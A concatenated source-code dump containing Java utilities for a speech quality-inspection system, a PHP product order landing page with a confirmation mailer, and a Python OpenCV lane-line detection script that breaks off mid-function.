/**
* 使用gbk写文件
* @param filePath
* @param content
*/
public static void writeToFile(String filePath, String content) {
BufferedWriter bw;
try {
bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(filePath), Charset.forName("GBK")));
bw.write(content);
bw.newLine();
bw.flush();
bw.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
File file = new File("C:\\Users\\maguosheng\\Desktop\\hotword.gbk");
try {
List<String> list= readTxtFile(file);
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream("C:\\Users\\maguosheng\\Desktop\\sql.txt"), Charset.forName("UTF-8")));
for(String str : list) {
String str1 = "insert into quality_hot_word values('"+UUID.randomUUID().toString().replace("-", "")+"','"+str+"',to_date('080916','dd-mm-yy'),'0',1);";
bw.write(str1);
bw.newLine();
}
bw.flush();
bw.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
<file_sep>package com.hcicloud.sap.study.thread.futureTask;
import java.util.concurrent.Callable;
import java.util.concurrent.CancellationException;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.Future;
import java.util.concurrent.FutureTask;
public class Memorizer<A, V> implements Computable<A, V> {
private final ConcurrentMap<A, Future<V>> cache = new ConcurrentHashMap<>();
private final Computable<A, V> c;
public Memorizer(Computable<A, V> c) {
this.c = c;
}
//先说些题外话,在上面这段代码中,参数和变量的命名都十分的简单,都是几个简单字母组成的。在实际项目的开发中不要使用这样的命名,示例中无妨。
//Memoizer 这个类的工作就是缓存计算结果,避免计算工作的重复提交。这是一个示例代码,所以没有保护缓存失效等的逻辑。Memoizer 类实现了 Computable 接口。
//同时,Memoizer 类构造方法里面也要接受一个 Computable 的实现类作为参数,这个 Computable 实现类将去做具体的计算工作。
//Memoizer 的 compute 方法是我们要关注的主要部分。
//先跳过 while (true),第11行是查看缓存中是否已经存在计算任务,如果没有,新的任务才需要被提交,否则获取结果即可。
//进入 if (f == null),我们先将 Computable<A, V> c 封装进一个 FutureTask 中。然后调用 ConcurrentMap.putIfAbsent 方法去将计算任务放入缓存。
//这个方法很关键,因为它是一个原子操作,返回值是 key,所对应的原有的值。如果原有值为空,计算任务才可以被真正启动,否则就会重复执行。最后在 try 中调用计算结果。抛去 while(true) 和 catch,这段代码很容易理解,因为这些都是正常的流程。
//接下来说说 while(true),它的作用在于计算任务被取消之后能够再次提交任务。
//接下来说两个 catch。第一个是 catch CancellationException,但其实在此示例中,FutureTask 都是本地变量,也都没有调用 cancel 方法,所以程序没有机会执行到这里,所以这块只是起到了示例的作用。
//需要注意的是第二个 catch。第二个 catch 捕获的是 ExecutionException,封装在 FutureTask 之内的 Runnable 或 Callable 执行时所抛出的异常都会被封装在 ExecutionException 之中,
//可以通过 e.getCause() 取的实际的异常。显然,发生 ExecutionException 时,计算显然是没有结果的,而在此示例代码中,异常只是简单地被再次抛出。这会导致计算结果无法取得,
//而且缓存仍旧被占用,新的计算任务无法被提交。如果 c.compute 是幂等的,那这样做是合理的,因为在此提交的任务还是会导致异常的发生。
//但如果不是幂等的,比如一些偶然事件,比如网络断开等。这里就需要把计算任务从缓存中移除,使得新的任务可以提交进来。
//在实际应用中,我们还需要根据具体的异常类型,做不同的处理。如果你不清楚 c.compute 是否是幂等的(因为你无法限制传进来的 Computable 实现有何特性),你可以限制一个重试次数。当重试超过限制,便不再移除缓存。
@Override
public V compute(final A arg) throws InterruptedException {
while (true) {
Future<V> f = cache.get(arg);
if (null == f) {
Callable<V> eval = new Callable<V>() {
@Override
public V call() throws Exception {
return c.compute(arg);
}
};
FutureTask<V> ft = new FutureTask<V>(eval);
//若没有这个key则put。总是返回oldValue
f = cache.putIfAbsent(arg, ft);
if (null == f) {
f = ft;
ft.run();
}
}
try {
return f.get();
} catch (CancellationException e) {
cache.remove(arg, f);
} catch (ExecutionException e) {
throw launderThrowable(e.getCause());
}
}
}
private InterruptedException launderThrowable(Throwable cause) {
if (cause instanceof InterruptedException) {
return (InterruptedException) cause;
}
return new InterruptedException(cause.getMessage());
}
}
<file_sep>package com.hcicloud.sap.common.utils.pingan;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Map;
public class SignUtil {
public static String makeSign(String s){
try {
MessageDigest digest = MessageDigest.getInstance("SHA-1");
digest.update(s.getBytes());
byte[] messageDigest = digest.digest();
return HexUtil.byte2hex(messageDigest);
} catch (NoSuchAlgorithmException e) {
return null;
}
}
public static String makeSign(Map<String,Object> data,String key){
final StringBuilder sb = new StringBuilder();
// TODO 这里需要指定一个 APPID 的值
//暂时默认给定一个值
// String appCode = (String)data.get(Fields.APPID);
String appCode = "App_GCC_WER__61f00a0d8587419d";
sb.append(appCode).append('&').append(key);
return sb.length()>0?makeSign(sb.toString()):null;
}
}
<file_sep>rootProject.name = 'SuccessTj'
<file_sep>package com.hcicloud.sap.common.utils;
import org.aspectj.lang.JoinPoint;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
@Service
public class SystemLogAspect {
@Autowired
HttpServletRequest request;
// 在类里面写方法,方法名诗可以任意的。此处我用标准的before和after来表示
// 此处的JoinPoint类可以获取,action所有的相关配置信息和request等内置对象。
public void before(JoinPoint jp) {
System.out.println("调用前拦截:" + jp.getTarget().getClass().getName() + ":" + jp.getSignature().getName());
System.out.println(jp.getTarget().getClass().getSimpleName());
System.out.println(jp.getTarget().getClass().getAnnotation(RequestMapping.class).toString());
String [] annotions = jp.getTarget().getClass().getAnnotation(RequestMapping.class).value();
String ip = request.getRemoteAddr();
for (int i = 0; i < annotions.length; i++) {
System.out.println("value:" + annotions[i]);
}
if (annotions.length <= 0) {
System.out.println("no annotion value is found!");
return;
}
Object args[] = jp.getArgs();
if(args.length<=0){
return;
}
// logServiceI.add(annotions[0], jp.getSignature().getName(),args[0],ip);
}
public void after(JoinPoint jp) {
System.out.println("调用后拦截:" + jp.getTarget().getClass().getName() + ":" + jp.getSignature().getName());
System.out.println(jp.getTarget().getClass().getSimpleName());
System.out.println(jp.getTarget().getClass().getAnnotation(RequestMapping.class).toString());
String [] annotions = jp.getTarget().getClass().getAnnotation(RequestMapping.class).value();
String ip = request.getRemoteAddr();
for (int i = 0; i < annotions.length; i++) {
System.out.println("value:" + annotions[i]);
}
if (annotions.length <= 0) {
System.out.println("no annotion value is found!");
return;
}
Object args[] = jp.getArgs();
if(args.length<=0){
return;
}
// logServiceI.add(annotions[0], jp.getSignature().getName(),args[0],ip);
}
}
<file_sep>package com.hcicloud.sap.common.utils.pingan;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import java.io.UnsupportedEncodingException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.spec.InvalidKeySpecException;
public class SecurityUtil {
/**
* 加密算法
* @param s
* @param k
* @return
* @throws NoSuchAlgorithmException
* @throws NoSuchPaddingException
* @throws UnsupportedEncodingException
* @throws InvalidKeyException
* @throws IllegalBlockSizeException
* @throws BadPaddingException
*/
public static String encrypt(String s,String k) throws NoSuchAlgorithmException, NoSuchPaddingException, UnsupportedEncodingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {
if (s == null || k == null) {
throw new IllegalArgumentException();
}
SecretKeySpec key = new SecretKeySpec(k.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");// 创建密码器
cipher.init(Cipher.ENCRYPT_MODE, key);// 初始化
byte[] result = cipher.doFinal(s.getBytes());// 加密
return HexUtil.byte2hex(result);
}
/**
* 解密算法
* @param s
* @param k
* @return
* @throws InvalidKeyException
* @throws NoSuchAlgorithmException
* @throws InvalidKeySpecException
* @throws NoSuchPaddingException
* @throws IllegalBlockSizeException
* @throws BadPaddingException
*/
public static String decrypt(String s,String k) throws InvalidKeyException, NoSuchAlgorithmException, InvalidKeySpecException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException{
if (s == null || k == null) {
throw new IllegalArgumentException();
}
SecretKeySpec key = new SecretKeySpec(k.getBytes(), "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");// 创建密码器
cipher.init(Cipher.DECRYPT_MODE, key);// 初始化
byte[] result = cipher.doFinal(HexUtil.hex2byte(s)); // 解密
return new String(result);
}
public static void main(String[] args) {
//JDK默认使用的AES算法最高只能支持128位。如需要更高的支持需要从Oracle官网下载更换JAVA_HOME/jre/lib/
// security目录下的: local_policy.jar和US_export_policy.jar。<br/>
// 对应的AES加解密的KEY的长度:128-16、192-24、256-32.
try {
String aa = SecurityUtil.encrypt("123456", "menghaonan123456");
System.out.println("aa为:" +aa);
String bb = "";
bb = SecurityUtil.decrypt(aa, "menghaonan123456");
System.out.println("bb:" +bb);
} catch (Exception e) {
// TODO: handle exception
e.printStackTrace();
}
}
}
<file_sep>package com.hcicloud.sap.common.constant;
import java.util.HashMap;
import java.util.Map;
public class GlobalConstant {
public static final String SESSION_INFO = "sessionInfo";
// 启用
public static final Integer ENABLE = 1;
// 禁用
public static final Integer DISABLE = 0;
// 默认
public static final Integer DEFAULT = 1;
// 非默认
public static final Integer NOT_DEFAULT = 0;
public static final Map<String, String> statelist = new HashMap<String, String>() {
{
put("1", "启用");
put("0", "停用");
}
};
public static final Map<String, String> MediaTypelist = new HashMap<String, String>() {
{
put("1", "音频");
put("2", "文本");
put("3", "视频");
}
};
//日志类型列表
public static final Map<String, String> logTypeList = new HashMap<String, String>(){
{
put("dologin", "登录");
put("logout", "登出");
put("add", "增加");
put("edit", "编辑");
put("delete", "删除");
}
};
public static final Map<String, String> actionTypeList = new HashMap<String, String>(){
{
put("/userGroup", "用户组");
put("/user", "用户");
put("/rules", "规则集");
put("/rulesType", "规则集类别");
put("/ruleType", "字段设置");
put("/", "系统");
put("/systemParam", "系统参数");
put("/autoRule","自动质检规则");
put("/autoRules","自动质检规则集");
put("/standardSpeech","标准话术管理");
}
};
public static final Long AUDIO_FORMAT_ID = Long.valueOf(1);
public static final Long AUDIO_EXT_ID = Long.valueOf(2);
public static final Long VOICE_FILE_DIR_ID = Long.valueOf(3);
public static final Long INDEX_SERVER_ID = Long.valueOf(4);
public static final Long ASR_TRANS_SERVER_ID = Long.valueOf(5);
public static final Long HOME_STAT_PEROID_ID = Long.valueOf(6);
public static final Long VOICE_EXTRACT_WORK_ID = Long.valueOf(7);
public static final Long VOICE_CHANNEL_ID = Long.valueOf(8);
public static final Long VOICE_EXTRACTED_ID = Long.valueOf(9);
public static final Long VOICE_SOURCE_ID = Long.valueOf(10);
public static final Long FILE_DELETE = Long.valueOf(11);
public static final String INITPWD = "<PASSWORD>";
public static final Integer USER_ONLY = 0;
public static final Integer AGENT_ONLY = 1;
public static final Integer BOTH_USER_AND_AGENT = 2;
/**
* 在线质检的redis key
*/
public static final String RECORDDATA = "record_data";
public static final String HISTORY = "history";
public static final String ALREADY_ASSIGNED = "已分配";
public static final String NOT_ASSIGNED = "未分配";
public static final String NO_DISTRIBUTION = "不予分配";
public static final String HAVE_QUALITY_INSPECTION = "已质检";
public static final String NO_QUALITY_INSPECTION = "未质检";
/**
* 上传录音的录音状态
*/
public static final String IS_TRANSFERRING = "正在转写中";
public static final String ALREADY_TRANSFERRED = "转写已完成";
}
| 8b9127274db96abc3cc82709edb26d4d7ae5bb9a | [
"Java",
"Gradle"
] | 27 | Java | AndyMeng2017/SuccessTj | 2f0601591c1eb254b5cba4bfcf6bce595bbe03ba | 4b155056f9055c7e7d9d9000933a6bbcef06fde4 |
refs/heads/main | <repo_name>LeonFroehner/toolport_landingpage<file_sep>/template/landingpage.php
<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="utf-8"/>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous">
<link rel="stylesheet" href="./../styles/style.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="./../scripts/validate.js"></script>
</head>
<body>
<?php
if(isset($_GET['send'])){
?>
<div class="container">
<div class="row">
<div class="col-sm-12 d-flex justify-content-center confirm_notification">Bestätigungsmail wurde an: <?php echo $_GET["mail"]?> gesendet</div>
</div>
</div>
<?php
}
?>
<div class="container back">
<div class="row pb-4">
<div class="col-sm-6">
<img src="./../assets/tend_main.jpg" class="w-100 zoom">
<span class="font-weight-bolder product_name">3x6m Faltpavillion PROFESSIONAL</span>
<span class="font-weight-bolder price">799,99€</span>
</div>
<div class="col-sm-6">
<form action="./../lib/mailer.php" method="GET">
<div class="wrapper_form">
<div class="form-group col-sm-12 ">
<input type="email" name="mail" class="validate form-control" placeholder="*E-mail">
</div>
<div class="form-group col-sm-12">
<input type="name" name="name" class="validate form-control" placeholder="*Name">
</div>
<div class="form-group col-sm-12">
<input type="name" name="phone" class="form-control" placeholder="Telefonnummer(optional)">
</div>
<div class="col-sm-12 d-flex flex-row form-group">
<select name="color" class="validate form-control">
<option selected disabled>*Farbe</option>
<option value="rot">rot</option>
<option value="gelb">gelb</option>
<option value="grün">grün</option>
</select>
</div>
<div class="col-sm-12 d-flex flex-row form-group">
<select name="shipping" class="validate form-control">
<option selected disabled>*Versandart</option>
<option value="Standardversand">Standardversand</option>
<option value="Abholung">Abholung</option>
</select>
</div>
<div class="wrapper_checkboxes">
<div class="col-sm-12 form-check">
<input type="checkbox" id="check_agb" class="form-check-input">
<label class="">AGB*</label>
</div>
<div class="col-sm-12 form-check">
<input type="checkbox" id="check_data" class="form-check-input">
<label class="">Datenschutz*</label>
</div>
</div>
<div class="col-sm-12">
<input type="button" value="Bestellen" class="col-sm-12 btn btn_self" id="submit_button" onmouseover="validate()">
<label>Bitte alle Pflichtfelder(*) ausfüllen</label>
</div>
</div>
</form>
</div>
</div>
<div class="row pb-4">
<div class="col-sm-4 pb-2">
<img src="./../assets/build.jpg" alt="" class="w-100 zoom">
</div>
<div class="col-sm-4 pb-2">
<img src="./../assets/transport.jpg" alt="" class="w-100 zoom">
</div>
<div class="col-sm-4 pb-2">
<img src="./../assets/measurments.jpg" alt="" class="w-100 zoom">
</div>
</div>
<div class="row pb-4 wrapper_advantages">
<div class="col-sm-4 d-flex flex-row pb-2">
<div class="col-sm-4">
<img src="./../assets/build_icon.png" alt="" class="w-100">
</div>
<div class="col-sm-8">
<h2>Aufbau</h2>
<ul class="list-group list-group-flush">
<li class="list-group-item list_elements">schnell</li>
<li class="list-group-item list_elements">ohne Werkzeug</li>
<li class="list-group-item list_elements">1-2 Personen</li>
<li class="list-group-item list_elements">selbsterklärend</li>
</ul>
</div>
</div>
<div class="col-sm-4 d-flex flex-row pb-2">
<div class="col-sm-4">
<img src="./../assets/transport_icon.png" alt="" class="w-100">
</div>
<div class="col-sm-8">
<h2>Transport</h2>
<ul class="list-group list-group-flush">
<li class="list-group-item list_elements">mitgelieferte Transporttasche</li>
<li class="list-group-item list_elements">Tragegriffe u. Rollen</li>
<li class="list-group-item list_elements">hochwertiges Oxford Material</li>
</ul>
</div>
</div>
<div class="col-sm-4 d-flex flex-row pb-2">
<div class="col-sm-4">
<img src="./../assets/warranty_icon.png" alt="" class="w-100">
</div>
<div class="col-sm-8">
<h2>Service</h2>
<ul class="list-group list-group-flush">
<li class="list-group-item list_elements">kostenlose Beratung</li>
<li class="list-group-item list_elements">Selbstabholung möglich</li>
<li class="list-group-item list_elements">schneller Versand</li>
</ul>
</div>
</div>
</div>
</div>
</body>
</html>
<file_sep>/lib/mailer.php
<?php
$mail = $_REQUEST['mail'];
$name = $_REQUEST['name'];
$tel = $_REQUEST['phone'];
$color = $_REQUEST['color'];
$shipping = $_REQUEST['shipping'];
$msg = "
<html>
<head>
<title>Bestätigungsmail</title>
</head>
<body>
<p>Kontaktdaten:</p>
<table>
<tr>
<td>E-Mail:</td>
<td>$mail</td>
</tr>
<tr>
<td>Telefonnr.:</td>
<td>$tel</td>
</tr>
</table>
<p>Sehr geehrte/r Frau/Herr $name</p>
<p>Hiermit bestätigen wir Ihnen Ihre Bestellung des Faltpavillions PROFESSIONAL in der Farbe $color.</p>
<p>Ihre gewählte Versandart: $shipping</p>
<p>Preis: 799,99€</p>
</body>
</html>
";
$header[] = 'Content-type: text/html; charset=UTF-8';
mail($mail, "Bestätigungsmail", $msg, implode("\r\n", $header));
header("location: ./../template/landingpage.php?send=true&mail=$mail");
?> | 5cc19bc4c276ecddc50c499fda73d252f1894f29 | [
"PHP"
] | 2 | PHP | LeonFroehner/toolport_landingpage | b5d927fa5b47aa2899b83421b44dc715cc3e6f8a | 4d34a0286d6c5da6722a11469be4cc32d06d5c70 |
refs/heads/master | <repo_name>ornament-orm/pdo<file_sep>/README.md
# pdo
PDO-based adapter for Ornament
<file_sep>/src/Adapter.php
<?php
namespace Ornament\Pdo;
use Ornament\Ornament\DefaultAdapter;
use Ornament\Ornament\State;
use Ornament\Container;
use Ornament\Exception;
use PDOException;
use zpt\anno\Annotations;
use zpt\anno\AnnotationParser;
/**
* Ornament adapter for PDO data sources.
*/
class Adapter extends DefaultAdapter
{
/** @var array Private statement cache. */
private $statements = [];
/** @var array Additional query parameters. */
protected $parameters = [];
/**
* Constructor. Pass in the adapter (instanceof PDO) as an argument.
*
* @param PDO $adapter
* @param string $id Optional "id" (table name)
* @param array $props Optional array of property names this adapter
* instance works on.
* @return void
*/
public function __construct(\PDO $adapter, $id = null, array $props = null)
{
$this->adapter = $adapter;
if (isset($id)) {
$this->setIdentifier($id);
}
if (isset($props)) {
$this->setProperties($props);
}
}
public function setAdditionalQueryParameters(array $parameters)
{
$this->parameters = $parameters;
}
/**
* Query $object (a model) using $parameters with optional $opts.
*
* @param object $object A model object.
* @param array $parameters Key/value pair or WHERE statements, e.g.
* ['id' => 1].
* @param array $opts Hash of options. Supported keys are 'limit',
* 'offset' and 'order' and they correspond to their SQL equivalents.
* @param array $ctor Optional constructor arguments.
* @return array|false An array of objects of the same class as $object, or
* false on query failure.
*/
public function query($object, array $parameters, array $opts = [], array $ctor = [])
{
$keys = [];
$values = $this->parameters;
$identifier = $this->identifier;
foreach ($parameters as $key => $value) {
if (!strpos($key, '.')) {
$key = "$identifier.$key";
}
$keys[$key] = sprintf('%s = ?', $key);
$values[] = $value;
}
$fields = $this->fields;
foreach ($fields as &$field) {
$field = "$identifier.$field";
}
$identifier .= $this->generateJoin($fields);
$sql = "SELECT %s FROM %s WHERE %s";
$sql = sprintf(
$sql,
implode(', ', $fields),
$identifier,
$keys ? implode(' AND ', $keys) : '(1 = 1)'
);
if (isset($opts['order'])) {
$sql .= sprintf(
' ORDER BY %s',
preg_replace('@[^\w,\s\(\)]', '', $opts['order'])
);
}
if (isset($opts['limit'])) {
$sql .= sprintf(' LIMIT %d', $opts['limit']);
}
if (isset($opts['offset'])) {
$sql .= sprintf(' OFFSET %d', $opts['offset']);
}
$stmt = $this->getStatement($sql);
try {
$stmt->execute($values);
$stmt->setFetchMode(Base::FETCH_CLASS, get_class($object), $ctor);
return $stmt->fetchAll();
} catch (PDOException $e) {
return false;
}
}
/**
* Load data into a single model.
*
* @param Container $object A container object.
* @return void
* @throws Ornament\Exception\PrimaryKey if no primary key was set or could
* be determined, and loading would inevitably fail.
*/
public function load(Container $object)
{
$pks = [];
$values = $this->parameters;
$identifier = $this->identifier;
foreach ($this->primaryKey as $key) {
if (isset($object->$key)) {
$pks[$key] = sprintf('%s.%s = ?', $identifier, $key);
$values[] = $object->$key;
} else {
throw new Exception\PrimaryKey($identifier, $key);
}
}
$fields = $this->fields;
foreach ($fields as &$field) {
$field = "$identifier.$field";
}
$identifier .= $this->generateJoin($fields);
$sql = "SELECT %s FROM %s WHERE %s";
$stmt = $this->getStatement(sprintf(
$sql,
implode(', ', $fields),
$identifier,
implode(' AND ', $pks)
));
$stmt->setFetchMode(Base::FETCH_INTO, $object);
$stmt->execute($values);
$stmt->fetch();
$object->markClean();
}
/**
* Internal helper to generate a JOIN statement.
*
* @param array $fields Array of fields to extend.
* @return string The JOIN statement to append to the query string.
*/
protected function generateJoin(array &$fields)
{
$annotations = $this->annotations['class'];
$props = $this->annotations['properties'];
$table = '';
foreach (['Require' => '', 'Include' => 'LEFT '] as $type => $join) {
if (isset($annotations[$type])) {
foreach ($annotations[$type] as $local => $joinCond) {
if (is_numeric($local)) {
foreach ($joinCond as $local => $joinCond) {
}
}
// Hack to make the annotationParser recurse.
$joinCond = AnnotationParser::getAnnotations(
'/** @joinCond '.implode(', ', $joinCond).' */'
)['joincond'];
$table .= sprintf(
' %1$sJOIN %2$s ON ',
$join,
$local
);
$conds = [];
foreach ($joinCond as $ref => $me) {
if ($me == '?') {
$conds[] = sprintf(
"%s.%s = $me",
$local,
$ref
);
} else {
$conds[] = sprintf(
"%s.%s = %s.%s",
$local,
$ref,
$this->identifier,
$me
);
}
}
$table .= implode(" AND ", $conds);
}
}
}
foreach ($fields as &$field) {
$name = str_replace("{$this->identifier}.", '', $field);
if (isset($props[$name]['From'])) {
$field = sprintf(
'%s %s',
$props[$name]['From'],
$name
);
}
}
return $table;
}
/**
* Protected helper to either get or create a PDOStatement.
*
* @param string $sql SQL to prepare the statement with.
* @return PDOStatement A PDOStatement.
*/
protected function getStatement($sql)
{
if (!isset($this->statements[$sql])) {
$this->statements[$sql] = $this->adapter->prepare($sql);
}
return $this->statements[$sql];
}
/**
* Persist the newly created Container $object.
*
* @param Ornament\Container $object The model to persist.
* @return boolean True on success, else false.
*/
public function create(Container $object)
{
$sql = "INSERT INTO %1\$s (%2\$s) VALUES (%3\$s)";
$placeholders = [];
$values = [];
foreach ($this->fields as $field) {
if (property_exists($object, $field)
&& !isset($this->annotations['properties'][$field]['From'])
&& isset($object->$field)
) {
$placeholders[$field] = '?';
$values[] = $object->$field;
}
}
$this->flattenValues($values);
$sql = sprintf(
$sql,
$this->identifier,
implode(', ', array_keys($placeholders)),
implode(', ', $placeholders)
);
$stmt = $this->getStatement($sql);
try {
$retval = $stmt->execute($values);
} catch (PDOException $e) {
return false;
}
if (count($this->primaryKey) == 1) {
$pk = $this->primaryKey[0];
try {
$object->$pk = $this->adapter->lastInsertId($this->identifier);
$this->load($object);
} catch (PDOException $e) {
// Means this is not supported by this engine.
}
}
return $retval;
}
/**
* Persist the existing Container $object back to the RDBMS.
*
* @param Ornament\Container $object The model to persist.
* @return boolean True on success, else false.
*/
public function update(Container $object)
{
$sql = "UPDATE %1\$s SET %2\$s WHERE %3\$s";
$placeholders = [];
$values = [];
foreach ($this->fields as $field) {
if (property_exists($object, $field)
&& !isset($this->annotations['properties'][$field]['From'])
) {
if (!is_null($object->$field)) {
$placeholders[$field] = sprintf('%s = ?', $field);
$values[] = $object->$field;
} else {
$placeholders[$field] = "$field = NULL";
}
}
}
$this->flattenValues($values);
$primaries = [];
foreach ($this->primaryKey as $key) {
$primaries[] = sprintf('%s = ?', $key);
$values[] = $object->$key;
}
$sql = sprintf(
$sql,
$this->identifier,
implode(', ', $placeholders),
implode(' AND ', $primaries)
);
$stmt = $this->getStatement($sql);
try {
$retval = $stmt->execute($values);
$this->load($object);
return $retval;
} catch (PDOException $e) {
return false;
}
}
/**
* Delete the existing Container $object from the RDBMS.
*
* @param Ornament\Container $object The model to delete.
* @return boolean True on success, else false.
*/
public function delete(Container $object)
{
$sql = "DELETE FROM %1\$s WHERE %2\$s";
$primaries = [];
foreach ($this->primaryKey as $key) {
$primaries[] = sprintf('%s = ?', $key);
$values[] = $object->$key;
}
$sql = sprintf(
$sql,
$this->identifier,
implode(' AND ', $primaries)
);
$stmt = $this->getStatement($sql);
try {
$retval = $stmt->execute($values);
return $retval;
} catch (PDOException $e) {
return false;
}
}
/**
* Return the guesstimated identifier, optionally by using the callback
* passed as an argument.
*
* @param callable $fn Optional callback doing the guesstimating.
* @return string A guesstimated identifier.
*/
public function guessIdentifier(callable $fn = null)
{
static $guesser;
if (!isset($guesser)) {
$guesser = function ($class) {
$class = preg_replace('@\\\\?Model$@', '', $class);
return State::unCamelCase($class);
};
}
if (!isset($fn)) {
$fn = $guesser;
}
return parent::guessIdentifier($fn);
}
}
| 9a230ec72ca853a66ee23a89d2ee985a1daa5d99 | [
"Markdown",
"PHP"
] | 2 | Markdown | ornament-orm/pdo | f0bb2a0c093b82d81f18c8b091a309a34b8e5e06 | 689f8fc3b36e133d28c42c7be72281b3a4ecd8a1 |
refs/heads/master | <repo_name>rafeykhan/CarND-LaneLines-P1<file_sep>/project_laneDet-new.py
# -*- coding: utf-8 -*-
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
import numpy as np
import cv2
#%matplotlib inline
import math
def imageDims(image):
imshape = image.shape
x= imshape[0]
y= imshape[1]
return x,y
def grayscale(img):
"""Applies the Grayscale transform
This will return an image with only one color channel
but NOTE: to see the returned image as grayscale
(assuming your grayscaled image is called 'gray')
you should call plt.imshow(gray, cmap='gray')"""
return cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
# Or use BGR2GRAY if you read an image with cv2.imread()
# return cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
def to_hsv(img):
"""convert BGR to HSV"""
return cv2.cvtColor(img, cv2.COLOR_BGR2HSV)
def canny(img, low_threshold, high_threshold):
"""Applies the Canny transform"""
return cv2.Canny(img, low_threshold, high_threshold)
def gaussian_blur(img, kernel_size):
"""Applies a Gaussian Noise kernel"""
return cv2.GaussianBlur(img, (kernel_size, kernel_size), 0)
def region_of_interest(img, vertices):
"""
Applies an image mask.
Only keeps the region of the image defined by the polygon
formed from `vertices`. The rest of the image is set to black.
"""
#defining a blank mask to start with
mask = np.zeros_like(img)
#defining a 3 channel or 1 channel color to fill the mask with depending on the input image
if len(img.shape) > 2:
channel_count = img.shape[2] # i.e. 3 or 4 depending on your image
ignore_mask_color = (255,) * channel_count
else:
ignore_mask_color = 255
#filling pixels inside the polygon defined by "vertices" with the fill color
cv2.fillPoly(mask, vertices, ignore_mask_color)
#returning the image only where mask pixels are nonzero
masked_image = cv2.bitwise_and(img, mask)
return masked_image
def gradient(line):
""" calculates gradient/slope of a line """
for x1,y1,x2,y2 in line:
m = (y2*1.00-y1)/(x2*1.00-x1)
return m
def y_int(line,m):
""" calculates y-intercept of given line """
for x1,y1,x2,y2 in line:
c = y1 - (m*x1) # y = mx+c => c = y - mx
return c
def generate_points(mean_intercept,mean_slope,x):
"""
generates to sets of x,y coordinates for averaged/extrapolated line.
With the given slope and y-intercept, uses the equation:
y = mx + c
using x values from bottom of image to top of ROI
"""
y1 = x*0.6 # roi top
x1 = (y1 - mean_intercept)/mean_slope
y2 = x # roi bottom x
x2 = (y2 - mean_intercept)/mean_slope
x1 = int(round(x1))
x2 = int(round(x2))
y1 = int(round(y1))
y2 = int(round(y2))
return x1,y1,x2,y2
def extrapolate(slope,inter,PREV_SLOPE_MEAN,PREV_INT_MEAN,window,index):
slope_mean = np.mean(slope)
inter_mean = np.mean(inter)
# if averaging window not full, append mean values
# otherwise replace the oldest value
if (len(PREV_SLOPE_MEAN) != window):
PREV_SLOPE_MEAN.append(slope_mean)
PREV_INT_MEAN.append(inter_mean)
else:
PREV_SLOPE_MEAN[index] = slope_mean
PREV_INT_MEAN[index] = inter_mean
# calculate new slope and intercept using moving average window
new_slope = np.mean(PREV_SLOPE_MEAN)
new_inter = np.mean(PREV_INT_MEAN)
return new_slope,new_inter
PREV_L_SLOPE_MEAN = []
PREV_R_SLOPE_MEAN = []
PREV_L_INT_MEAN = []
PREV_R_INT_MEAN = []
COUNT_R = 0
COUNT_L = 0
def draw_lines(img, lines, color=[0, 0, 255], thickness=4):
"""
NOTE: this is the function you might want to use as a starting point once you want to
average/extrapolate the line segments you detect to map out the full
extent of the lane (going from the result shown in raw-lines-example.mp4
to that shown in P1_example.mp4).
Think about things like separating line segments by their
slope ((y2-y1)/(x2-x1)) to decide which segments are part of the left
line vs. the right line. Then, you can average the position of each of
the lines and extrapolate to the top and bottom of the lane.
This function draws `lines` with `color` and `thickness`.
Lines are drawn on the image inplace (mutates the image).
If you want to make the lines semi-transparent, think about combining
this function with the weighted_img() function below
"""
global PREV_L_SLOPE_MEAN ,PREV_R_SLOPE_MEAN
global PREV_L_INT_MEAN, PREV_R_INT_MEAN
global COUNT_L, COUNT_R
x,y = imageDims(img)
left_bound = y*.45 #bounds for determining left or right lane
right_bound = y*.55
l_slope = [] # slopes of lines for current frame (left lane)
r_slope = [] # slopes of lines for current frame (right lane)
l_inter = [] # y-intercepts of lines for current frame (left lane)
r_inter = [] # y-intercepts of lines for current frame (right lane)
window = 20 # range of moving average window for feedback
r_index = COUNT_R % window # index to update oldest value
l_index = COUNT_L % window # index to update oldest value
for line in lines:
for x1,y1,x2,y2 in line:
m = gradient(line)
if (m>-0.2 and m<0.2): # disregard horizonal lines
continue
c = y_int(line, m)
# separate right and left lane lines
if ( (right_bound - x1) < (x1- left_bound) ) :
r_slope.append(m)
r_inter.append(c)
else:
l_slope.append(m)
l_inter.append(c)
if (len(l_slope)!=0 ):
slope,inter = extrapolate(l_slope,l_inter,PREV_L_SLOPE_MEAN,PREV_L_INT_MEAN,window,l_index)
x1,y1,x2,y2 = generate_points(inter,slope,x)
cv2.line(img, (x1, y1), (x2, y2), color, thickness)
COUNT_L +=1
COUNT_L = COUNT_L%100
else:
# if no lines detected, use previous values
if(len(PREV_L_SLOPE_MEAN)!=0):
slope = np.mean(PREV_L_SLOPE_MEAN)
